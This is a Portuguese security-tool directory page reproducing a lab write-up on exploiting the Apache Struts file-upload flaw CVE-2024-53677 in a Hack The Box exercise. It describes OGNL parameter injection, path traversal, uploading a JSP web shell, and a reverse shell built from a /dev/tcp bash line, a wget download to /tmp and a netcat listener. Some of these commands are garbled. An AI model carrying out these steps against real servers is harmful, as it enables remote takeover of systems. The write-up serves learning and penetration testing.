Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-53677-Exploitation — Passo a passo para explorar o RCE CVE-2024-53677 do Apache Struts por meio de manipulação de upload de arquivo, incluindo injeção OGNL, incorporação de payload e estabelecimento de shell reverso. | Kitploit
Ferramentas/GitHubGitHub/hopsypopsy8/cve-2024-53677-exploitation
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubhopsypopsy8/cve-2024-53677-exploitation

CVE-2024-53677-Exploitation

Passo a passo para explorar o RCE CVE-2024-53677 do Apache Struts por meio de manipulação de upload de arquivo, incluindo injeção OGNL, incorporação de payload e estabelecimento de shell reverso.

Ver Repositório
5há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Exploração do CVE-2024-53677

RCE no Apache Struts via Upload de Arquivo

Descrição

O CVE-2024-53677 é uma vulnerabilidade que afeta o Apache Struts da versão 2.0.0 até a anterior à 6.4.0. ⚠️ Isto foi explorado num laboratório Hack The Box.

A lógica de upload de arquivos no Apache Struts é falha. Um atacante pode manipular os parâmetros de upload para permitir path traversal e, em algumas circunstâncias, isso pode levar ao upload de um arquivo malicioso que pode ser usado para executar Remote Code Execution. 🔗 Referência: Entrada NIST NVD

Reconhecimento

Identificando um Vetor de Ataque

imagem
  1. O site possui um recurso de upload de imagem.
  2. Os arquivos enviados são armazenados em: ip/uploads/20250213_014317/starwars.png
  3. No upload bem-sucedido, o link compartilhável da imagem tem a URL ip/s/04ab2f40
O parâmetro adicionado explora OGNL (Object-Graph Navigation Language), que o Apache Struts usa para processar dados de entrada. O FileUploadInterceptor processa este parâmetro antes de tratar a imagem PNG real, permitindo que atacantes manipulem a solicitação e potencialmente executem código arbitrário.
  • Encontrando a versão do Apache Struts
    • Um pom.xml exposto revelou Apache Struts 6.3.0.1
    • Confirmado vulnerável ao CVE-2024-53677

    📸 Exposição do pom.xml:
    imagem

    Exploração

    Modificando a Solicitação de Upload de Arquivo

    Para explorar esta vulnerabilidade, utilizamos o BurpSuite e sua funcionalidade Repeater para modificar os pacotes antes de enviá-los. Abaixo temos uma solicitação não editada.

    imagem

    Nossos problemas são que o site bloqueia tipos de arquivo que não sejam [JPG, JPEG, PNG, GIF] e qualquer coisa no diretório /uploads Não é Executável. Para contornar esses problemas, primeiro adicionaremos outro parâmetro.

    teste

    Finalizando o Exploit

    Após adicionar o parâmetro modificado, a resposta do servidor confirma que o arquivo foi enviado com sucesso. No entanto, notamos que o caminho do arquivo difere do diretório de upload usual.

    plshelp

    Anexando o Payload

    Em seguida, incorporamos o payload anexando-o diretamente abaixo dos dados da imagem e imediatamente antes dos nossos parâmetros injetados. O payload do shell pode ser obtido 🔗 Referência: shell.jsp Além disso, um detalhe crucial é que a solicitação requer "Upload" com U maiúsculo em vez de upload minúsculo. Isso segue a estrutura do exploit observada em: 🔗 Referência: exploit.py

    Com essas modificações em vigor, enviamos a solicitação. O servidor responde de forma semelhante, confirmando um upload bem-sucedido e refletindo o caminho do arquivo ajustado.

    Navegando pelo Exploit

    Agora, navegando para a seguinte URL, podemos interagir com o shell enviado.

    root@kitploit:~
     ip/shelll.jsp?action=cmd&cmd=id 
    shell final

    Nesta fase, podemos estabelecer um reverse shell usando um servidor web hospedado localmente. Uma maneira simples de fazer isso é com Python:

    root@kitploit:~
     python3 http.server -m 3004 
    
    Next, create a basic shell script (e.g., shell.sh) 
    cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh
    
    Use wget to download it
    wget http://ip_address/filename -O /tmp
    
    After downloading, provide execution permissions
    chmod +777 /tmp/filename
    
    and then use nc (netcat) to listen for the reverse shell.
    nc -lvnp $PORT
    
    Finally execute 
    ./filename 
    Baixar ferramenta